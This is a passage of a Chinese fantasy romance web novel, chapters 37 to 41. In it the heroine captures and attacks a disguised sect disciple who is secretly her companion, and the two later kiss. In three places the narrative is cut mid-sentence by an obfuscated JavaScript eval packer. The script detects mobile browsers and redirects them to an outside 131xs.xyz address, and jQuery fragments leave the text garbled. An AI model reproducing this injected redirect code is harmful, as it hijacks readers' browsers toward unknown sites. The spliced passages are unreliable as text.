系统和剧情让她时刻被恐惧笼罩着,她像一根绷紧的弦,稍有风吹草动就会发出刺耳的震颤。 但段迟意及时按住了那根弦。 他揽住她,怀抱像安全静谧的茧。 “别怕,我帮你。” 他轻声开口,胸膛的震动隔着衣服传到黎落这边。 他的心跳沉稳有力,听得黎落眼眶一酸。 “段迟意。” 她又叫他名字,听见他低低地“嗯”了一声,等着她的下文。 她扁嘴,心里的委屈瞬间涌了上来,强忍着泪水说: “其实我今天,是想送你一把剑的。” 说着,她反而更加委屈,整个人皱巴成了一团: “可是现在没有了,剑被打坏了。破妄剑太强了,我的剑根本比不过他……” 肩膀上的衣服变得潮湿。 段迟意伸手将黎落抱得更紧些,一手轻柔地顺她头发: “没事的,我都知道。” 黎落拔剑的时候他就看见了。 那把剑长而宽,剑身灵力充沛,虽不及破妄这样的神兵,但绝对是一把顶好的灵剑。 黎落能找到张少荣帮她练剑,想必也是废了一番功夫。 这位师弟性格怯懦武力平平,一手炼器本领却十分突出,偏偏对法宝和炼器材料要求极多。 平日里除却仙门指令,很难有人能请得动他出手炼器。 今日这一遭,若是换了旁人炼出的剑,道君剑意压下,只怕早就碎了。 但黎落不知道这些。 她只觉自己得废了老大一番功夫,最后却什么都没落着。 烟锦纱也裂了,还惹上了仙门,简直一败涂地。 甚至现在还多了个迫在眉睫的死亡威胁。 她简直难过的要命。 但仍不忘跟段迟意保证: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461449|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我还会继续找的,我说到做到。” 段迟意眼里浮现几分笑意,他用脸贴了贴黎落的头发,极轻极柔地“嗯”了一声,像是情人间的低喃。 “我信你的。” * 黎落睡下后,段迟意回了一趟仙门。 杜孟之死闹出了不小的动静,但他清理了黎落留下的气息,张少荣也什么都没说,仙门暂时找不到黎落头上。 况且极渊的情况并不算好,师尊虽关心杜孟,却更在意魔尊。 段迟意确保黎落没有危险后,连夜赶回了云苍阁。 黎落房间的灯总是亮着。 她不喜欢黑暗,总是不睡觉,硬要点着蜡烛、摆着夜明珠苦熬。 眼看要把自己熬成一只红眼黑眶的夜猫子。 段迟意摘了面具,站在她门口,听得里面一阵稀里哗啦翻书揉纸的声音。 果然没睡。 他推门进去。 本该正在睡觉的人正披着被子坐在床上,星星灯前摆着张纸,上书《刺杀仙门首徒方案》几个大字。 床边地上扔了许多废弃纸团。 黎落正襟危坐,神态凝重,半晌也没能写下一条可行的方案。 她刚闭眼就被惊醒,梦里不是自己被一剑穿心的场景,就是系统狞笑着告诉封樾:杀了她就能成为魔尊。 她实在没法安睡,索性爬起来,想想怎么解决珩亦。 段迟意走过来,捡起一张离他最近的纸,展开,上面的墨迹还没有干,蹭成一团乌黑。 “打不过”三个大字横在中央,让他一阵好笑。 黎落见状不满: “你笑什么?他有破妄剑,谁能打的过啊?” 难道真把混沌之力给封樾,让那渣男坐享渔人之利吗? 呸! 黎落在心里愤愤骂了几句。 段迟意敛起笑意: “想杀破妄剑主确实有些难度,但若要他不能杀你,并非只有杀了他这一条路。” 黎落歪头,被他的话吸引了注意力。 她眼睛有点红,不知道是白天哭的还是夜里熬的,好奇地睁大眼睛望向他的时候,还真有点像懵懂的小猫。 段迟意压下嘴角的笑意,一本正经地给她出主意: “据我所知,珩亦从不随便杀人,若是……若是对你动手,必有缘由。” 黎落苦恼。 这也正是她不理解的地方。 与珩亦几次见面,他都对自己手下留情,并不像是非要取她性命的样子。 但系统所说,不得不防。 她不敢赌。 段迟意见她神情松动,知道自己猜对了。 黎落虽笃定珩亦会杀她,但两人间确实没有什么深仇大恨。 她应该是听了什么挑拨。 黎落平时接触的人不多,他回来的路上已经排查了一遍,暂时还未找到那挑拨离间之人。 若叫他知道是谁一直在刺激恐吓黎落,还挑拨他与黎落的关系…… 段迟意垂眸,压下眼底森寒杀气,冷静提议道: “不若寻机见面,试探一番,也免得你贸然动手,两败俱伤。” 听起来似乎有些道理。 黎落意动,但仍有顾虑: “可珩亦仙君看起来高冷的很,不像是好说话的样子,他会愿意和我聊这些吗?万一直接动手杀我怎么办?” 段迟意掀起眼皮看她一眼,眼里有些莫名的意味。 黎落不明所以。 片刻后,他泄气般垂下眸子,妥协道: “要是你实在害怕……” “把他打晕绑走,抓回来再问也可以。” 38. 第 38 章 黎落被段迟意这个提议震惊到了。 抓住珩亦…… 天呐,想想都觉得癫狂。 她觉得段迟意疯了,竟然觉得她能抓住仙门首徒,简直荒诞! 但段迟意语气坦然、态度笃定,就好像他说的都是事实一样: “你有魔魂和骨伞,连鬼王都不是你的对手。况且他昨日硬接剑符,受伤之下实力必然大减,你放心去试。” 这话成功混淆了黎落对自身实力的判断。 仔细想想,骨伞撞上那次,自己不也接了珩亦一剑吗? 骨伞加魔魂加混沌之力,对方又受了伤,她确实未必会败啊。 黎落信心倍增。 直到睡着前她还在想: 眼下唯一的问题就是珩亦行踪不定,她连见他的机会都没有,更别说抓住他了。 没但想到一觉醒来,事情竟然忽然有了转机。 珩亦竟然主动来了云苍城。 听到开赌坊的胡六娘求云苍阁主出面帮忙的时候,黎落一惊,连段迟意都来不及找,匆匆赶去了赌坊。 云苍城居民身份背景各异,不喜互相窥探,故而城中多显冷清。 唯有胡六娘的赌坊是城中难得的热闹之地,消息流通、货物交易多集中于此。 黎落便是在这里知道了张少荣炼器功夫一绝的消息。 但此刻,原本人来人往的厅堂却透着诡异的安静。 一人立于厅堂中央,气质沉静如雪,鸦黑乌发半披半束,映着面具未能遮掩完全的冷白皮肤,有如完美无瑕的仙人玉雕,还是冰泉淬过的那种,散发着清冷的寒意。 破妄剑指着胡六娘,珩亦的声音毫无温度: “东西呢?” 胡六娘一哆嗦,求助的目光看向刚到此的黎落:“阁主救我!” 珩亦的目光也随之看去。 他的声音毫无波澜,像是第一次知道黎落的身份: “云苍阁主,是你?” 他装束打扮不似往日,声音也有些低,似乎真如段迟意所说,是受了伤的样子。 黎落心中揣测,但仍保持警惕: “不请自来,擅闯云苍城,你想干什么?” 总不会是因着杜孟的死,今天就带了仙门指令,来云苍城报仇吧? 黎落捏紧拳头,浑身紧绷,做好了随时迎战的准备。 谁知面前人却忽然收了剑,负手转向她,不是立马开打,而是同她解释: “云苍城胡六娘,抢夺仙门弟子本命剑。” 言下之意,他并非来此闹事,而是来帮仙门弟子寻剑的。 仙门首徒专程来此,不为除妖,只为寻一把剑? 黎落看向胡六娘。 胡六娘冲她眨眼: “奴家素来只做正经生意,哪里敢抢仙门的东西?” “仙君没有证据,突然打上门来就要奴家认罪,奴家哪里能认?!只能求阁主为奴家做主!” 黎落收到她的暗示,这才想起来,胡六娘当初能帮她找到张少荣炼器,还是从一个仙门弟子那里得到的消息。 但本命剑的事情她并不知情,胡六娘只说“那弟子心甘情愿帮她找人”,原来是这么个“心甘情愿”法。 黎落陷入沉思。 珩亦此人每每现身,皆是一副斩妖除魔说一不二的架势,若笃定了胡六娘抢剑,直接动手便是,怎会寻她来做主? 她打量珩亦。 对方亦安静地站在原地看着她,等她回应。看模样气息,似乎真比以往所见柔和不少。 有点奇怪啊…… 黎落在心里嘀咕。 这人曾独身闯进妖界,连妖王都被他捅了个对穿,现在还站在这里没有动手,总不会是忌惮她吧? 黎落陷入回忆,昨日那道剑符十分凶猛,她躲在后面都伤成那样,直面剑符的珩亦应该也比她好不到哪去。 那这就说得通了! 怪不得她当着珩亦的面杀了杜孟,对方都没有当场杀了她,一定是因为受伤太重,强弩之末,不敢跟她动手…… 黎落越想越觉得有道理,忍不住点了点头。 胡六娘忍不住催她:“阁主!” 黎落回过神来,一番推测使她底气倍增,下意识顺着胡六娘的话说: “是啊,你没有证据,凭什么来我云苍闹事?” 珩亦不语,两指并剑,随意一指。 二层被他指向的屋子里忽而掀起激起一阵灵力波动。 一柄压在箱底的剑受到召唤,破门而出。 于半空中抖落掉剑柄上挂着的胡六娘的珠宝首饰。 长剑落入珩亦手中,他身形丝毫未动,手腕翻转,压剑于鞘,音色淡漠: “正是此剑。” 胡六娘被抓了个人赃俱获,顿时哑口无言,但仍忍不住为自己辩解: “仙门中人来此玩乐,我开门迎客,愿赌服输,如何算抢?” 珩亦不语,看向黎落。 黎落:“……” 她有点更看不懂了。 珩亦拿了剑,不打架也不走人,只一双冷冰冰的眸子盯着她瞧,像是在等她说点什么。 难道是在等她道歉? 黎落皱眉,上下打量面前的剑修。 对方站在厅堂正中央,一动不动由着她打量。 赌坊为防有人闹事,多在厅堂设下阵法。 这会儿一看,她才发现:珩亦所站的地方,似乎正巧就是阵法中心…… 鬼使神差的,段迟意昨夜所说的“打晕绑走”四个字忽而涌上黎落心头。 她看了胡六娘一眼。 胡六娘与她对上视线。 下一秒,黎落果断出手,一道魔气打向珩亦。 与此同时,胡六娘露出六尾狐身,催动阵法的同时,狐尾一卷,迅速钻进早已准备好的暗道逃跑。 赌坊瞬间变得空空荡荡,只剩下黎落和珩亦两人在内。 黎落虽对珩亦出手,却并不抱期待能一次成功。 她已经召出骨伞,混沌之力藏于魔气之中,做好了随时殊死一搏的准备。 谁知她的攻击竟呈现出了意料之外的效果。 魔气击中了珩亦。 他似力有不足,躲闪的动作略显迟缓,因而被四面腾空升起的妖术捆绑。 黎落躲在骨伞后,没能等来反击。 她茫然地放下骨伞。 面前仙君长身玉立,浑身散发着寒意,双臂却被紫色妖力束缚,动弹不得,面具下的眸子冷冷看着她。 黎落露出不可置信的神色。 “这还真能抓住啊?” 她自言自语,感觉今天的一切都顺利得过分。 只可惜段迟意不在这里,没能知道他的猜测有多准确。 黎落上前一步。 珩亦浑身都被法阵妖力捆着,只一双眼睛还能动,目光却如有实质,看得黎落心里发虚。 她眼前又飘过被他一剑穿心的场景,下意识退了半步。 她的动作被对方看得一清二楚。 段迟意垂眸,不着痕迹地移开了目光。 那股被剑尖对着的冷冰冰的感觉顿时消失了。 黎落悄悄松了口气。 她觉得自己实在太过草木皆兵了。 别说珩亦并未动手杀她,就算他真的要杀她,她也不该如此怯懦。 躲不过的东西,越应该迎难而上,直面恐惧,直到脱敏。 这么想着,她睁大了眼睛,强迫自己看向珩亦。 段迟意如有所感,抬眸看她。 那双黑眸里没有多少冷意,望着她的眼神甚至有些莫名的熟悉。 黎落一愣:“你——” 段迟意忽然开口,全然陌生的声音,打断了她没反应过来的思维,偏偏又一下子说中了她的心思: “你怕我?” 黎落顿时像被踩了尾巴的猫,也顾不上什么眼熟不眼熟的了。 骨伞如刀,噌得一声展开,边缘划过段迟意被绑着的手腕,带出一条长长的血线。 她的表情有些僵硬,骂了句脏话: “你放屁!” 段迟意目光一闪。 黎落意识到自己下意识的反应反而暴露了自己的心虚。 她立马闭了嘴,绷着脸,不肯再暴露一丝一毫的情绪。 段迟意见状,改口道: “我只为取剑,并无恶 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黎落的手顺着从地面延伸出的锁链,缓缓挪到他被她划伤的手上。 她指腹温热,蹭过那道细长的伤口,若有若无的痛意也成了带点痒意的麻。 段迟意动了动手指,感觉一片羽毛在挠他的心脏,让他忍不住想捏她的脸。 但眼下不是时候,他只得将其他的念头暂且搁置,等黎落说出惧怕他的原因。 “其实,仙君多次救我性命,我却因一时冲动,伤了你。” 她抬眸,樱唇轻启,带着点怯生生的讨好姿态: “仙君会生气吗?” 隔着面具,换了身份,段迟意垂眸打量她。 往日她对着他时,先是甜言蜜语、鬼话连篇,而后又鲜活灵动,时而委屈不快,鲜少露出如刚才般毫不掩饰的敌意。 但如今只不过片刻,她就换了副表情,试图用这张单纯可爱的容颜降低他的心理防线。 段迟意心里轻嗤一声,不上她的当。 黎落眸光忽闪忽闪的,见他不上钩,又仰着脸看他的面具,弯了弯眼睛,半是好奇半是玩笑: “珩亦仙君,你怎么总带着面具啊?是为了破妄剑吗?” 段迟意不语,目光如水扫过她面容,不放过她脸上丝毫细节。 他不说话,黎落也不恼。 她抬手,指尖落在他眼眶下。 “如果是这样,那岂不是另一种形式的……无人可知?” 她轻声道,音色飘渺,听来有几分莫测诡异。 隔着面具,段迟意感受到她指尖顺着他侧脸往下滑的动作。 轻飘的,散漫的,落不到实处。 若非她眼底那点漠然的黑,段迟意几乎要以为,她在调戏“珩亦”了。 滑到面具边缘的时候,黎落微微用力,做了个“挑开他面具”的动作。 段迟意瞳孔一缩,不止是为了她想要揭开面具的动作,更是因为那一瞬间,她双眸间骤然泛上的浓重黑气。 意欲剥他面具的手指忽然变了动作,指尖黑气猝然凝成尖锐的刀锋,猛得扎向他露出的脖颈。 她故意没有用骨伞,甚至没有先动魔气,而是瞬间调动混沌之力,给了这位原著中战无不胜、唯独败在得了混沌之力的魔君手上的仙门首徒最大的敬意。 若换了旁人一定来不及反应。 但段迟意对她太了解了。 她虚假的叹息,故作可怜的神情,还有魔气上涌时骤然变色的瞳孔。 ——无一不昭示了她的杀机。 她又用了那股不知名的力量,让她的气息在瞬间变得古怪,非魔非人。 法阵妖力生成的锁链被剑气根根斩断,段迟意速度极快地挡住黎落指尖的刀。 黎落一惊,没想到他竟能挣脱出来,心道不好。 但对方修为太高,偷袭尚且不能,正面对上以后,力量和速度都不是她能比得过的。 转眼就被压着脖子和手腕,按到了身后的桌子上。 39. 第 39 章 黎落被砸得一懵,总觉得这场景好像什么时候发生过似的。 她大脑迟缓地思索着。 上方罩下一片阴影,段迟意的表情藏在面具后面,怒意却从双眸中显现。 他真是低估了黎落的心狠程度,前一秒言笑晏晏,下一秒就杀机毕现。 她这是怕珩亦杀她吗?她分明是怕自己杀不了珩亦! 现下黎落被他按在桌子上,一言不合就动手的嚣张气焰低了几分,但仍不知悔改。 魔气操纵骨伞从背后刺向他,被破妄剑架住。 黎落上半身被他两手压着,腿又被他膝盖抵在桌子上,彻底没了反抗之力,只一双眼睛还能动,瞳孔倒映出段迟意脸上的面具。 他半披的头发垂落到她脖子上,冷得她一哆嗦。 但段迟意把她压在自己和桌子的间隙中间,实在是没有躲藏的地方,她只得开口求饶: “仙君,我错了,你能先放开我吗?” 段迟意冷哼一声,不为所动。 眼底的魔气还没褪干净,竟然还想骗他? 黎落无奈。 这珩亦仙君怎的这么难骗? 他到底怎么发现自己动手的? 不应该啊,混沌之力不像魔气,爆发的瞬间不应该被人察觉到啊? 她陷入了极大的困惑中,以至于没能发现两人现在的姿势有多暧昧。 察觉到阵法被破的同时,密道口打开,胡六娘探头看了一眼,瞬间睁大了眼睛,又捂着嘴钻了回去。 黎落试图和珩亦真心换真心。 “仙君,是你先闯的云苍,仙魔势不两立,我对你出手全是因为魔族本能,真的没有别的意思。” 段迟意:“不是魔气,是什么?” 黎落:“……” 她脸色有点难看。 用了混沌之力,却一击不中被人发现的下场就是这样。 她开始后悔了。 但段迟意仍居高临下地盯着她,这姿势让她毫无安全感,五官完全暴露在他目光下,动动眼珠子都能被他看得一清二楚,连编谎话的机会都没有。 她不说话,段迟意也极有耐心地等着她。 右手命脉被他扣着,灵力压在跳动的脉搏上面,无声威胁。 放在她脖子上的手没有用力,却也没给她活动的空间。 虎口抵着她下颌骨,逼她只能仰着头看他。 摁在她颈侧的拇指还在缓缓摩挲,一举一动都透着危险的气息。 他的指腹每一次与她脖子上的皮肤摩擦而过时,都让她觉得嗓子发干,心跳加快。 黎落试图从他的神情中找到突破口,但隔着一张面具,只能看到银霜反光,连那双深不见底的漆黑双眸也看不清晰。 她感到无比绝望。 过了一会儿,黎落意识到压在她身上的人不会因为她的沉默而放过她。 甚至看她拼死抵抗,还淡淡道: “你若不说,我强行探你丹田,一试便知。” 说着,他目光下移到她腹部丹田的方向,按住她脖子的手还松了松,作势要探她丹田。 “别!” 黎落急忙喊住他。 段迟意的目光移回她的脸。 黎落咬了咬牙,只好开口回答: “是我生来就有的,我也不知道是什么,可能是神仙赐福吧。” 落在脸上的目光如有实质。 黎落硬着头皮,死死撑着,不肯露出一丁点心虚的表情。 这如临大敌的神态看在段迟意眼里实在好气又好笑。 他一时想揍她,又忍不住想亲她。 顿了顿,他又问:“为何想杀我?” 黎落脱口而出:“我不是说了吗?我就是本能、冲动,没有别的原因了。” 这不见棺材不落泪的小骗子,都到了这种地步,嘴里竟还没一句真话。 段迟意眯了眯眸子,忽的俯身凑近她,高大身躯压迫感十足,带来一阵让人望而生畏的寒意。 他双眸盯着她的,像是要透过瞳孔看见背后的秘密。 黎落被他忽然的靠近吓了一跳,心脏砰砰砰响个不停,几乎要从嘴巴里跳出来。 但她被他牢牢按着,连推开他的办法都没有,只能眼睁睁看着他凑近她。 垂下来的乌发泛着凉意,将她完全笼罩在他的身躯下。 剑气若有似无,刮着她的理智和伪装。 段迟意薄唇轻启,慢条斯理地吐出两个字: “撒、谎。” 黎落额头快要冒出冷汗。 对方毫不掩饰的侵略感让她本能感到害怕。 他好像知道什么。 他在逼她坚守不住,主动露出破绽。 一切即将暴露、即将失控的恐慌让她呼吸开始不稳。 她心跳愈快,眼底的黑便越浓。 魔气与混沌之力冲着她的经脉,若非有段迟意灵力压着,顷刻间便要爆出来。 她强压着,不想就这样缴械投降。 眼角都泛上了水光,带着点激动的红,呼吸急促。 眼看黎落快被逼得不行了,却还是死撑着不肯说出真相。 段迟意到底还是心软了。 他微不可察地叹了口气,忽然起身,放开了她。 笼罩在身上的剑气和威胁骤然消失。 重获自由的一瞬间,黎落想也不想再次出手,魔气毫不掩饰地倾数砸下。 整个赌坊厅堂都被她的魔气炸开,木屑石块纷纷扬扬碎了一地。 灰尘散开,面前已无剑修身影。 她双手发抖,呼吸不稳,不顾胡六娘的呐喊,头也不回地跑回了云苍阁。 * 仙门。 段迟意将剑递给杨昱。 杨昱颤颤巍巍伸手接过剑的一瞬间,两行清泪落下,七尺男儿仙门剑修,却忍不住哭出声来。 虽然他一开始是被那狐妖设计骗去的,但到底在赌场丢了本命剑,这事若是被师门发现,他只怕不死也残。 瞒了许久不敢叫人知晓,谁料珩亦师兄竟会出手帮他拿回了剑。 那可是珩亦师兄啊…… 杨昱半是恐惧半是感动,觉得自己怕是在做梦。 师兄出自寒冰,得成胥道君亲自教导,从不与他们这些弟子亲近,他们亦不敢主动同他搭话。 在他们眼里,珩亦师兄就和主峰后头高耸的寒冰一样,强大疏离,高不可攀。 而破妄剑主更是以身为鞘,愿为铲除魔尊而死,他们唯有敬重畏惧…… 只是没想到,师兄偶然撞上他抱着张少荣痛哭后,就亲自帮他解决了这件事。 带着面具的段迟意一言未发,放着杨昱一人又哭又笑,转身便要离开。 他本就是找个理由让黎落抓他,并不在乎其他弟子的情绪波动。 杨昱痛哭之余,忽然联想到了最近偶然听说的传言。 ——珩亦师兄,有可能就是两百年前守护人族边界不力、害的魔族入侵、最终全族以死谢罪的青崖城遗民。 师兄入寒冰、执破妄剑,未来或许还要用命与魔尊相抗,不只是因为他心怀苍生、天赋异禀,更有可能…… 是为了赎罪! 可当初一同前去青崖城的同门师兄酒后所言,城中阵法被毁的原因,根本不是他们以为的那样、是青崖城自己的失误…… 杨昱为这个传言的内容感到心惊肉跳。 理智告诉他,应当做不知,扭头离开为妙。 但有时就是那么一点鬼迷心窍的犹豫不决,让他撞着胆子开口问道: “师兄是否要入极渊?” 段迟意驻足。 杨昱刚问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是这么一想,她就感觉喘不上气,难受程度远盛今天被珩亦威胁。 黎落抛下一院子的花,闷闷不乐地回到屋子里。 她赌气似的坐在门口的地上,靠着门发呆。 穗穗一天没有出现,应该在忙着取淬金石,好赔给胡六娘。 段迟意也没见踪影,她憋了一肚子的话,立誓见到他时便痛骂珩亦一顿。 只是等的时间长了,这份恼火便逐渐熄灭下去。 暮色渐沉,夜明珠的光逐渐取代了窗外的太阳,寒气浮起。 云苍城离魔界很近,极渊近日动荡不休,地下常有震动,似乎山移石动,气势浩荡。 每隔几天便会冒出异响,在静谧的夜色下宛如鬼哭狼嚎。 她知道这是下一个关键剧情快要到达的预兆。 封樾用玄铁将沧宿再次封印,从而摆脱了沧宿对他的控制。 原本她在这段剧情里只起到一个给封樾的成功锦上添花的作用,受伤断骨,却不至于死亡。 但如今,剧情却直接变成了“女主死亡”。 黎落用魔气凝了把匕首出来,在身边的地上写写画画。 她感觉有点冷,却懒得起身。 门后忽然传来细微的响动,像是衣料的摩擦。 匕首在地上一磕,发出一道短促刺耳的声音。 门口那细微的摩擦声停了。 紧接着,她等了一整天的声音响起,伴随着两下清脆的敲门声: “黎落,你怎么又熬夜?” 40. 第 40 章 段迟意原本只想来黎落门口看看。 他白天用珩亦的身份和她接触过多,黎落明显察觉到了不对,只是被他打断了。 若是自己立马用段迟意的身份出现,细微的相似之处,只怕会引起她的怀疑。 但他只在门口短暂地站定,便察觉到有人正用后背抵着门,刀子划过地面,发出刺耳的摩擦声。 黎落的影子被夜明珠的光映在门框上,像一只外形圆润、内里却尖锐孤单的小动物。 等他意识到自己在做什么的时候,已经下意识抬手敲响了门。 下一刻,坐在地上的人翻身起来,影子一下子放大、靠近。 吱呀一声,门被人从里面拉开,黎落整个人披着一层浅浅的光,瞬间出现在段迟意面前。 她眼睛亮晶晶的,像是在里面藏了宝石,顿时照出漫天萤辉,里面是不加掩饰的惊喜。 “段迟意!你回来了!” 她的声音像是有什么魔力,一下子让整个云苍阁都显得热闹又温暖。 段迟意心里原本有的犹豫、沉重,随着黎落朝他扑过来的动作,瞬间被冲散至无影无踪。 他抬手,接住她,像接住了一整轮明月。 她的手比他还要冰凉,段迟意意识到她一直坐在门口的地上,不禁问道: “地上不冷吗?” 他不说还好,这么一说,黎落顿时觉得自己好像在寒风里冰面上坐了很久似的,门口的小风一吹,浑身毛孔都在抗议。 她蹙眉,“阿嚏”一声,打了个喷嚏。 段迟意无奈,按着她的肩膀把她推进了屋子里,关上门,将人塞进被子里。 她在被子里抖了两下,暖和起来,脸颊漫上点红。 “段迟意。” 她喊他,带着鼻音,声音软软的,像是在撒娇: “我等了你好久,你去哪了?” 段迟意在她面前蹲下,这高度正好能直视她的眼睛。 他看着她,有些困惑: “等我?” 黎落“嗯”了一声: “你还不知道呢吧,我今天见着珩亦了,我还抓住他了!” 说完,她的脸一下子又垮了下去,像是耷拉着耳朵的猫,不情不愿道: “但是他又跑了,我没打过。” 岂止是没打过,简直是被人单方面按着恐吓了一顿,差点连混沌之力都叫他探出来了。 但毕竟是她动手偷袭在先,说出来难免显得丢人。 黎落于是避重就轻地略过了细节,只抱怨道: “他都受伤了还这么能打,今天过后,他肯定更想杀我了。” 段迟意闻言没有说话,突然抬手捏她的脸。 他白天就想这么干了,现在终于有了机会。 黎落的脸颊软软的,冻了许久的凉意还未从面上完全褪去,却从皮肤下面透出点烫人的温度。 段迟意只轻轻捏了一下,便在她无辜的眼神的注视下,不由自主变成了用手指轻触她的脸。 他的指腹凉凉的,中和了黎落脸上的热。 她先是下意识一哆嗦,而后又怀念那份凉意,于是朝他手的方向歪了歪头,还蹭了一下。 指腹和掌心彻底与她的皮肤贴近,凉和热混在一起,叫人分不清是谁在发烫。 “你发烧了。” 段迟意轻声道: “熬夜不睡觉,坐在门口吹风,不难受吗?” 他声音低低的,比起责备,更像是在关心她。 黎落于是一点也不生气,反而主动伸出手,将他的手按住,完全贴在自己脸上,像是找到了降温秘方。 裹在身上的被子随着她的动作散开。 黎落忍不住一哆嗦,旋即又舒服地眯起眼睛,贴着他的手蹭了蹭: “我才不难受。” 段迟意一手被她抓着,只得伸出另一只手帮她拉紧被子。 她的呼吸打在他手背上,比平时的温度高很多。 段迟意忽然一愣。 一条长而细的红色血痕横亘了他的手背,在夜明珠的光下显得格外明显。 白天被骨伞划伤的伤口还在,他忘了处理。 只要黎落现在低头,就能立马发现:这是她在珩亦手背上划出的伤口,现在却出现在了段迟意手上。 段迟意顿时紧张起来。 他的手不自觉用力,黎落顿时感到“降温神器”不够舒服了。 她低头,想换另一只手。 下巴忽然被人托住。 段迟意情急之下松开了捏着被子的手,两只手将她脸捧着,固定到一个只能抬头看他的角度。 险些暴露。 黎落茫然与他对视:“怎么了?” 那双黑而冷的眸子里闪过一丝庆幸,段迟意面上仍十分沉静的模样: “你病了,早点休息吧。” “不要!” 黎落顿时面露不满:“我还不困。” 她抬手,想把段迟意放在她脸上的手拉下来,用以表示她的拒绝。 手背上的伤口虽然已经不再流血,但仍有浅浅的凸出痕迹,不能叫她摸到。 段迟意压下眼睫,在黎落快要触碰到他手的同时,忽然反手握住了她的手腕。 而后双臂微微用力,便将她胳膊交错压在一起,直直按倒在了床上。 黎落一惊,后背已经隔着被子贴到了柔软的床上。 被子边缘叠在一起,硌在她后腰,十分不舒服。 她下意识想起身。 段迟意于是俯身,再次将她压了回去。 夜明珠的光半明半暗,映出他线条流畅的轮廓,一双眸子如墨色冷玉,正一眨不眨地盯着她。 “你该睡觉了。” 他说,语气有些强势。 黎落恼了:“我都说了我不困!你快放开我!” 她挣扎两下,领口衣襟散开,白皙的皮肤上坠着一条细长的银链,因着她的体温升高,源源不断飘出甜香。 段迟意移开目光。 这动作看在黎落眼里便是心虚: “哈!段迟意,你是不是有事瞒着我!” 她想要坐起来看清他的脸: “你放开我,我保证不生气。” 段迟意不为所动,仍按着她不让起: “没有。” 他开始后悔。 干嘛非要来黎落门口呢? 她又不是一天两天的不睡觉,他哪里管得了那么多,便是熬成熊猫眼也不干他的事。 但更后悔的是,怎么能忘了把伤口处理掉呢? 一定是因为极渊的事情干扰了他。 一想到极渊,心里那些乱七八糟的念头便瞬间冷却下去。 段迟意松开手,起身就要离开。 “不困的话,你自己玩吧。” 手上压力顿时消失。 黎落一脸的丈二和尚摸不着头脑,不知这人怎么回事,竟和白天见到的珩亦一样喜怒无常。 连带着白天的火一起蹿了上来,她猛地朝段迟意扑了过去。 段迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你都不知道想抓住珩亦有多难!” 她又强调了一遍。 “非常难!” 段迟意不禁笑了起来。 他侧头看向黎落,眼里带着点说不清道不明的笑意,冬雪消融,连声音都带了暖意: “许是你用错了方法呢?” 黎落疑心段迟意在骗她。 她松开他的头发,跟他脸对脸。 他的五官柔和下来,锐利的棱角织成天衣无缝的陷阱,乌黑的双眸变成诱人靠近的饵,美得惊心动魄。 她又被他蛊惑到,全然忘了自己要说什么,呆愣地望着他。 她的目光直勾勾的,是一种毫无防备、全心全意的注视。 段迟意在她的注视下,感受到自己的心脏一点点跳动起来。 她尚没意识到自己这样看着别人时,会给那人怎样的期待。 段迟意和她对视片刻后,率先移开目光,打断了两人间微秒的气氛。 “真的不难。” 他清了清嗓子,故作镇定道: “他很好抓的。” 说完,他微微弯腰,想要将她放下来。 黎落没有吭声,由着他把自己放到地上。 双脚触及地面的同时,她手臂却忽然重新用力,勾着他的脖子,使他不能直起身。 他两手还护在腰间,疑惑地看向她。 听见她问: “段迟意,我真的不能亲你吗?” 41. 第 41 章 理智让段迟意想开口说“不”。 但心里却总有种莫名的力量,拽着他的嗓子,堵着他的喉咙,让他发不出声音。 黎落的动作更坚定。 问完这句话后,她双手用力将他往下拉。 她的力气并不算大,甚至因为发烧,显得软而发虚。 可段迟意竟然真的被她压弯了脖子。 他顺从地被她的手臂拉着低下头,精致的容貌逐渐放大,离她越来越近。 空气好像都停滞了,远处的嘈杂声瞬间消失,世界安静的好像只剩下他们。 两人的呼吸在某个瞬间撞在一起。 ——鼻尖相贴。 他的气息微凉,带着悠远绵长的冷香,拂在黎落的唇和下巴上。 他望着她,眼睛好像藏了星光的漩涡,诱她不断深入。 她于是主动抬起下巴,没等段迟意说出同意的话,就已靠近他的唇。 甫一触碰到,便有隐隐的温度从表面的冰凉下漫上来,像薄荷味的糖果,那沁凉的口感只是刚接触时的试探,真正的香甜需耐心品味。 甚至回甘。 黎落轻轻贴着他,循着本能在他唇上试探。 她体温太高,把他也染上了几分滚烫。 有轻轻的叹息从两人贴近的唇瓣中溢出。 原本虚拢在黎落背后的手忽然压下,她毫无防备间被这股力度带的贴到了他身上。 两手也下意识从他脖颈上松开,与段迟意身前的布料摩擦而过,又被身后的手压实。 掌心温热,贴在有些冰凉的衣服上。 黎落脑袋一晃,擦着他的唇错开位置,她下意识低头。 却有一只手从她后背沿着脊骨缓缓上移,抚在她脑后,修长指节饶在发丝中,轻轻顺了两下她的头发。 她的神情因着这轻柔的触感而放空了一瞬,顺着脑后力道重新抬起了下巴。 下一秒,唇上再次贴来柔软的触感。 不似方才那般带点凉意的浅尝辄止,温热、潮湿,甚至有些发烫,将她完全包裹其中。 缓缓摩擦片刻后,轻松便撬开了她的唇齿,她的呼吸因此被他吞入口中,再也不复往日有序。 头脑一片空白。 恍惚间,黎落觉得自己变成了一个正在燃烧的大火炉,五脏六腑都被烤干缺水,却有一格外灵巧之物,带着微凉的甘霖,逐一抚摸过火炉内壁,将每一处燥热的火焰抚平。 